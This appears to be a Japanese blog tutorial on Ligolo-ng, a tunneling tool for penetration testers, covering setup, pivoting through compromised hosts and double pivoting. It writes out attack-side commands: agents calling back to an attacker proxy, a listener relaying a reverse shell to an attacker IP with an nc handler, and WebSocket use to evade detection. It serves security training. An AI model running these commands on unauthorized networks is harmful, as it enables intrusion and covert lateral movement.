Ligolo-proxy(現在はLigolo-ngとして知られています)は、ペネトレーションテスターやレッドチームが複雑なネットワーク環境内で活動する際に役立つ、高度でありながらシンプルなトンネリングおよびピボットツールです。フランスの開発者Nicolas Chatelain氏によって開発され、2021年7月にリリースされました。従来のSOCKSプロキシベースのツールとは異なり、Ligolo-ngはTUNインターフェースを利用して、より高速で柔軟なネットワークアクセスを実現します。
このブログ記事では、Ligolo-ngの基本的な概念からセットアップ、実践的な使用方法、そして他のツールとの比較やセキュリティ上の考慮事項まで、幅広く解説していきます。OSCPのような認定資格の準備をしている方や、ピボット技術を向上させたい方にも役立つ内容を目指します。
Ligolo-ngとは? その特徴と利点
Ligolo-ngは、Go言語で書かれた軽量かつ高速なツールで、リバースTCP/TLS接続を介してTUNインターフェース(仮想ネットワークインターフェース)を利用したトンネルを確立します。これにより、まるでVPN接続のように、侵害したネットワークセグメントへ直接アクセスすることが可能になります。
主な特徴:
- TUNインターフェース: SOCKSプロキシやProxychainsの設定不要で、Nmapなどのツールを直接実行できます。これにより、よりシンプルかつ高速な操作が可能です。
- パフォーマンス: マルチプレキシング技術により、単一のTCP接続上で複数の通信を効率的に処理し、高いパフォーマンス(最大100 Mbits/sec)を実現します。
- 使いやすさ: シンプルなUIとコマンド体系で、セットアップや操作が比較的容易です。
- エージェントの権限不要: 侵害対象のマシン(エージェント)側で実行する際、管理者権限(root/Administrator)が不要です。これはGvisorというユーザーランドネットワークスタックを使用しているためです。
- 多様なプロトコルサポート: TCPだけでなく、ICMP (ping), UDP, SYNスキャンなどもトンネル経由で利用可能です。これはChiselなどのHTTPベースのツールにはない利点です。
- 自動証明書設定: Let’s Encryptを利用したTLS証明書の自動取得・設定機能や、自己署名証明書の動的生成機能があります。
- 接続の安定性: ネットワーク切断時などに、トンネルやリスナーを自動的に回復する機能があります(v0.7-alpha以降)。
- クロスプラットフォーム: エージェントはWindows, Linux, macOSなど、様々なプラットフォーム向けに提供されています。プロキシ(サーバー)は主にLinuxで使用されます。
- WebSocketサポート: WebSocket経由での接続もサポートしており、通信の隠蔽に役立つ場合があります。
他のツールとの比較 (Chisel, SSHuttleなど)
ChiselやSSHポートフォワーディングといった従来のツールもピボットには有効ですが、Ligolo-ngにはいくつかの明確な利点があります。
- Chisel: Chiselは主にHTTP WebSocket上で動作し、SOCKSプロキシとして機能します。そのため、利用するツールによっては`proxychains`コマンドを前置する必要があります。Ligolo-ngはTUNインターフェースを使うため、`proxychains`が不要で、より多くのプロトコル(ICMP, UDPなど)を透過的に利用でき、一般的に高速です。
- SSHuttle/SSHポートフォワーディング: SSHベースの方法は、ターゲットマシンでSSHサービスが動作している必要があります。また、設定がやや煩雑になることがあります。Ligolo-ngはSSHに依存せず、専用のエージェントを使用します。
これらの特徴から、Ligolo-ngは特に内部ネットワークへの透過的なアクセスや、高速なスキャン、多様なツールの利用が求められるシナリオにおいて強力な選択肢となります。👍
セットアップとインストール
Ligolo-ngを使用するには、「プロキシ (Proxy)」と「エージェント (Agent)」の2つのコンポーネントが必要です。
- プロキシ (Proxy): 攻撃者のマシン(通常はKali Linuxなど)で実行します。エージェントからの接続を受け付け、TUNインターフェースを作成・管理します。
- エージェント (Agent): 侵害したターゲットマシン(ピボットホスト)で実行します。プロキシサーバーに接続し、ネットワークトラフィックを中継します。
要件
- プロキシ側 (攻撃者マシン):
- Linux環境 (TUNインターフェース作成のため)
- Go言語環境 (バージョン 1.20以上、ソースからビルドする場合)
- `ip`コマンド (TUNインターフェースとルーティング設定のため)
- エージェント側 (ターゲットマシン):
- ターゲットOSに対応したエージェントバイナリ (Windows, Linux, macOS等)
ダウンロード
コンパイル済みのエージェントバイナリと、プロキシのソースコード/バイナリは、公式GitHubリポジトリのReleasesページからダウンロードできます。
ターゲットマシンのOSとアーキテクチャに合ったエージェントバイナリ(例: `agent_windows_amd64.exe`, `agent_linux_amd64`)をダウンロードしてください。プロキシ (`proxy_linux_amd64`など) も同様にダウンロードできます。
Kali Linux ユーザーの場合: Kali Linux 2024.2 以降では、`apt`コマンドで簡単にインストールできます。
sudo apt update
sudo apt install ligolo-ng
これにより、プロキシとLinux用エージェントがインストールされます。ただし、Windowsなど他のOS用のエージェントが必要な場合は、別途GitHubからダウンロードする必要があります。
ソースからのビルド (オプション)
最新版を使いたい場合やカスタマイズしたい場合は、ソースからプロキシをビルドすることも可能です。Go環境 (>=1.20) をセットアップした後、以下のコマンドを実行します。
# Go言語のインストール (Debian/Ubuntu系)
sudo apt update
sudo apt install golang
# バージョン確認
go version
# リポジトリのクローン
git clone https://github.com/nicocha30/ligolo-ng.git
cd ligolo-ng
# プロキシのビルド
go build -o proxy cmd/proxy/main.go
# 実行権限の付与
chmod +x ./proxy
TUNインターフェースの準備 (プロキシ側)
Ligolo-ngを使用する前に、攻撃者マシンでTUNインターフェースを作成し、有効化しておく必要があります。<your_username>
は実際のユーザー名に置き換えてください。
sudo ip tuntap add user <your_username> mode tun ligolo
sudo ip link set ligolo up
ip addr show ligolo
または ifconfig ligolo
でインターフェースが作成され、UP状態になっていることを確認できます。
注意: Ligolo-ng v0.6.0以降では、tunnel_start
コマンド内でインターフェース作成とルーティング設定を自動で行う機能が追加されました。しかし、互換性や確実性のため、事前に手動でインターフェースを作成しておくことを推奨します。
基本的な使用方法
ここでは、基本的なシングルピボットのシナリオを例に、Ligolo-ngの使い方を説明します。
シナリオ:
- 攻撃者マシン (Kali): IPアドレス
192.168.1.100
- 侵害済みターゲットマシン (Pivot Host):
- 外部向けIP:
192.168.1.50
(攻撃者マシンからアクセス可能) - 内部向けIP:
10.10.10.5
(攻撃対象の内部ネットワーク)
- 外部向けIP:
- アクセスしたい内部ネットワーク:
10.10.10.0/24
1. プロキシサーバーの起動 (攻撃者マシン)
まず、攻撃者マシンでLigolo-ngプロキシサーバーを起動します。自己署名証明書を動的に生成する -selfcert
オプションを使用するのが簡単です。デフォルトではポート 11601
で待ち受けます。
sudo ./proxy -selfcert
Let’s Encryptを使用する場合は -autocert
(ポート80へのアクセスが必要)、既存の証明書を使う場合は -certfile
と -keyfile
オプションを指定します。待ち受けアドレスやポートを変更したい場合は -laddr
オプションを使います (例: -laddr 0.0.0.0:443
)。
2. エージェントの実行 (ターゲットマシン)
次に、侵害済みのターゲットマシンに適切なエージェントバイナリを転送し、実行します。プロキシサーバーのIPアドレスとポートを指定し、自己署名証明書を使用しているため -ignore-cert
オプションを付けます。
Windowsの場合:
.\agent.exe -connect 192.168.1.100:11601 -ignore-cert
Linuxの場合:
./agent_linux_amd64 -connect 192.168.1.100:11601 -ignore-cert
プロキシサーバーのターミナルに、エージェントが接続してきた旨のメッセージが表示されるはずです。
ligolo-ng » INFO[XXXX] Agent joined. name=TARGET_HOSTNAME remote="TARGET_IP:PORT"
3. セッションの選択とトンネルの開始 (プロキシ側)
プロキシサーバーのコンソールで session
コマンドを入力すると、接続中のエージェントのリストが表示されます。
ligolo-ng » session
[?] Select session ID:
> [1] TARGET_HOSTNAME (TARGET_IP:PORT)
セッション番号 (この場合は 1
) を入力してエンターキーを押すと、そのセッションのコンテキストに入ります。
ligolo-ng » session 1
[Agent: TARGET_HOSTNAME] »
ここで ifconfig
コマンドを実行すると、エージェントが認識しているネットワークインターフェースとIPアドレスの情報を確認できます。これは後でルーティングを設定する際に重要です。
[Agent: TARGET_HOSTNAME] » ifconfig
Name MAC IP Network
eth0 XX:XX:XX:XX:XX:X1 192.168.1.50 192.168.1.0/24
eth1 XX:XX:XX:XX:XX:X2 10.10.10.5 10.10.10.0/24
次に、start
コマンドでトンネリングプロセスを開始します。
[Agent: TARGET_HOSTNAME] » start
[*] Tunnel started.
4. ルーティングの設定 (攻撃者マシン)
トンネルを開始したら、攻撃者マシンのルーティングテーブルに、アクセスしたい内部ネットワーク (10.10.10.0/24
) への経路を追加する必要があります。トラフィックを先ほど作成した ligolo
TUNインターフェース経由で送るように設定します。
別のターミナルを開いて、以下のコマンドを実行します。
sudo ip route add 10.10.10.0/24 dev ligolo
これで、10.10.10.0/24
宛のパケットは ligolo
インターフェースに送られ、Ligolo-ngプロキシを通じてエージェントに転送され、内部ネットワークに到達します。
5. 内部ネットワークへのアクセス
設定が完了すれば、攻撃者マシンから内部ネットワーク (10.10.10.0/24
) 上のホストに直接アクセスできるはずです。proxychains
は不要です。
# 内部ホストへのping
ping 10.10.10.5
# Nmapによるスキャン (例: -PnでPing Probeを無効化)
nmap -Pn 10.10.10.0/24
# SSH接続
ssh user@10.10.10.X
# SMBアクセス (例: smbclient)
smbclient //10.10.10.X/share -U user%password
これで、Ligolo-ngを使った基本的なピボットが完了しました 🎉。
高度な機能とシナリオ
Ligolo-ngは基本的なピボット以外にも、より複雑なシナリオに対応するための機能を備えています。
ダブルピボット (Double Pivoting)
内部ネットワーク (例: 10.10.10.0/24
) 内のホストをさらに踏み台にして、別のネットワークセグメント (例: 10.10.20.0/24
) にアクセスしたい場合があります。これがダブルピボットです。
-
最初のピボット設定: 上記「基本的な使用方法」の手順で、最初のピボット (
10.10.10.0/24
へのアクセス) を確立します。 -
リスナーの作成 (最初のセッション): 最初のセッション (例: セッション1) のコンテキスト内で、
listener_add
コマンドを使って、2番目のエージェントが接続するためのリスナーを作成します。このリスナーは、最初のピボットホスト上で動作します。[Agent: PivotHost1] » listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:11601
このコマンドは、PivotHost1のポート
4443
で待ち受け、受け取った接続をプロキシサーバー (127.0.0.1:11601
、PivotHost1から見たプロキシ) に転送するリスナーを設定します。listener_list
で確認、listener_start
で開始します。 -
2番目のエージェントの実行: 内部ネットワーク (
10.10.10.0/24
) 内で侵害した2番目のピボットホスト (PivotHost2) にエージェントを転送し、実行します。接続先は、先ほど設定した PivotHost1 のリスナーポート (10.10.10.5:4443
など) になります。./agent_linux_amd64 -connect 10.10.10.5:4443 -ignore-cert
-
新しいセッションの開始 (プロキシ側): プロキシサーバーに新しいセッション (例: セッション2) が表示されます。
session 2
で選択し、start
コマンドでトンネルを開始します。 -
ルーティングの追加 (攻撃者マシン): 攻撃者マシンで、新しい内部ネットワーク (
10.10.20.0/24
) へのルートをligolo
インターフェースに追加します。sudo ip route add 10.10.20.0/24 dev ligolo
これで、攻撃者マシンから 10.10.20.0/24
ネットワークに直接アクセスできるようになります。
エージェント側でのポートリスニング (Bind Shell / File Server)
listener_add
コマンドは、エージェントが動作しているマシン上でポートをリッスンさせ、特定のローカルサービスや攻撃者マシン上のサービスに接続を転送するためにも使用できます。
例1: エージェントマシン上のサービスへのアクセス
エージェントマシン (10.10.10.5
) のポート 8080
でWebサービスが動作している場合、攻撃者マシンから直接アクセスするには:
[Agent: PivotHost1] » listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:8080
[Agent: PivotHost1] » listener_start --listener ID
これにより、PivotHost1のポート8888
への接続が、ローカルのポート8080
に転送されます。攻撃者は http://10.10.10.5:8888
にアクセスできます。
例2: リバースシェルやファイル転送のためのリスナー
攻撃者マシンでリバースシェルハンドラ (例: nc -lvp 9001
) やHTTPサーバー (例: python3 -m http.server 9002
) を起動しておき、エージェントマシン上にリスナーを設定して、内部ネットワークの他のマシンからこれらのサービスにアクセスさせることができます。
# リバースシェル用リスナー (攻撃者側で nc -lvp 9001 を実行)
[Agent: PivotHost1] » listener_add --addr 0.0.0.0:9001 --to <Attacker IP>:9001
[Agent: PivotHost1] » listener_start --listener ID
# ファイル転送用リスナー (攻撃者側で python3 -m http.server 9002 を実行)
[Agent: PivotHost1] » listener_add --addr 0.0.0.0:9002 --to <Attacker IP>:9002
[Agent: PivotHost1] » listener_start --listener ID
内部ネットワークの他のマシンは、PivotHost1 (10.10.10.5
) のポート 9001
に接続してリバースシェルを取得したり、ポート 9002
にアクセスしてファイルをダウンロード/アップロードしたりできます。
接続方法 (TCP, TLS, WebSocket)
エージェントは、プロキシへの接続方法として、通常のTCP接続、TLS暗号化接続、WebSocket接続を選択できます。WebSocket接続は、Webトラフィックに偽装したい場合に役立つことがあります。プロキシ側の -laddr
オプションで `https://` プレフィックスを付けるとWebSocketモードになります。
# プロキシ側 (WebSocket)
sudo ./proxy -selfcert -laddr https://0.0.0.0:443
# エージェント側 (WebSocket)
./agent -connect https://<Proxy IP>:443 -ignore-cert
コマンドリファレンス (プロキシ側コンソール)
Ligolo-ngプロキシのコンソールで使用できる主なコマンドをまとめます。
コマンド | 説明 | コンテキスト |
---|---|---|
help |
利用可能なコマンドの一覧を表示します。 | グローバル / セッション |
session |
接続中のエージェントセッションを表示し、選択します。引数なしでリスト表示、引数にIDを指定して選択。 | グローバル |
exit / Ctrl+C |
現在のセッションコンテキストから抜けるか、プロキシを終了します。 | グローバル / セッション |
ifconfig |
選択中のエージェントが認識しているネットワークインターフェースとIPアドレス情報を表示します。 | セッション |
ip route |
(将来の機能?) エージェントのルーティングテーブルを表示する可能性があります。(現状では主にifconfig でネットワーク情報を確認) |
セッション |
start |
選択中のセッションでトンネリングを開始します。攻撃者マシン側で対応するルート設定が必要です。 | セッション |
stop |
選択中のセッションでのトンネリングを停止します。 | セッション |
listener_add |
エージェントマシン上に新しいリスナーを作成します。--addr でリッスンするアドレス/ポート、--to で転送先のアドレス/ポートを指定します。ダブルピボットやポートフォワーディングに使用します。 |
セッション |
listener_list |
作成されたリスナーの一覧を表示します。 | セッション |
listener_start |
指定したIDのリスナーを開始します。 | セッション |
listener_stop |
指定したIDのリスナーを停止します。 | セッション |
listener_del |
指定したIDのリスナーを削除します。 | セッション |
get |
エージェントマシンからファイルをダウンロードします。 (例: get /path/to/remote/file local/path ) |
セッション |
upload |
エージェントマシンへファイルをアップロードします。 (例: upload local/path /path/to/remote/destination ) |
セッション |
autoroute |
(v0.7-alpha以降) エージェントのネットワーク情報に基づいて、攻撃者マシン側で自動的にTUNインターフェースのIP設定とルーティング設定を行います。start の代わりに使用できます。 |
セッション |
セキュリティに関する考慮事項 🔒
Ligolo-ngは強力なツールですが、使用にあたっては以下のセキュリティ上の点に注意が必要です。
- 暗号化: デフォルトのTCP接続では通信は暗号化されません。機密性の高い情報を扱う場合や、盗聴のリスクがある環境では、必ずTLSを使用してください。
-selfcert
や-autocert
オプション、あるいは正規の証明書 (-certfile
,-keyfile
) を用いてプロキシを起動し、エージェント側では-ignore-cert
を使用しないようにします(自己署名証明書の場合は初回接続時にフィンガープリントを確認・承認する必要があります-accept-fingerprint
)。WebSocket (https://
) もTLS暗号化を提供します。 - 検出リスク: Ligolo-ngの通信は、特にTLSを使用しない場合、特徴的なパターンを持つ可能性があります。IDS/IPSやネットワーク監視ツールによって検出されるリスクがあります。TLSやWebSocketを使用することで、検出をより困難にすることができます。また、デフォルトポート (11601) 以外を使用することも検討に値します。
- エージェントの残留: ペネトレーションテストやレッドチーム活動が終了したら、ターゲットマシンに転送・実行したエージェントバイナリを確実に削除する必要があります。
- プロキシサーバーの保護: プロキシサーバーは外部からアクセス可能になるため、ファイアウォール設定などで不要なアクセスを制限し、適切に保護する必要があります。
- ログ: プロキシサーバーやエージェントのログには、接続元IPアドレスや内部ネットワークの情報などが含まれる可能性があります。ログの管理と保護にも注意が必要です。
- 権限昇格への利用: Ligolo-ng自体は権限昇格ツールではありませんが、確立したトンネルを通じて内部ネットワークにアクセスし、他の脆弱性を悪用して権限昇格を試みることが可能です。
- 責任ある使用: Ligolo-ngは正当なセキュリティ評価やテスト目的で使用されるべきツールです。許可なく他者のネットワークにアクセスするために使用することは違法であり、倫理的にも問題があります。
特に、証明書の検証を無視する -ignore-cert
オプションは、中間者攻撃 (MITM) のリスクを高めるため、デバッグ目的以外での使用は極力避けるべきです。
まとめ
Ligolo-ngは、TUNインターフェースを利用することで、従来のSOCKSベースのツールよりも高速かつ透過的なネットワークピボットを実現する強力なツールです。セットアップの容易さ、エージェントの権限不要、多様なプロトコルサポートといった特徴により、ペネトレーションテストやレッドチーム活動における内部ネットワークへのアクセスを大幅に効率化します。
基本的なシングルピボットから、リスナー機能を利用したダブルピボットやポートフォワーディングまで、様々なシナリオに対応できる柔軟性も魅力です。ただし、その強力さゆえに、TLSによる通信の暗号化、使用後のクリーンアップ、そして何よりも倫理的かつ法的に許可された範囲での責任ある使用が不可欠です。
このガイドが、Ligolo-ngを理解し、活用するための一助となれば幸いです。Happy Hacking! (but responsibly! 😉)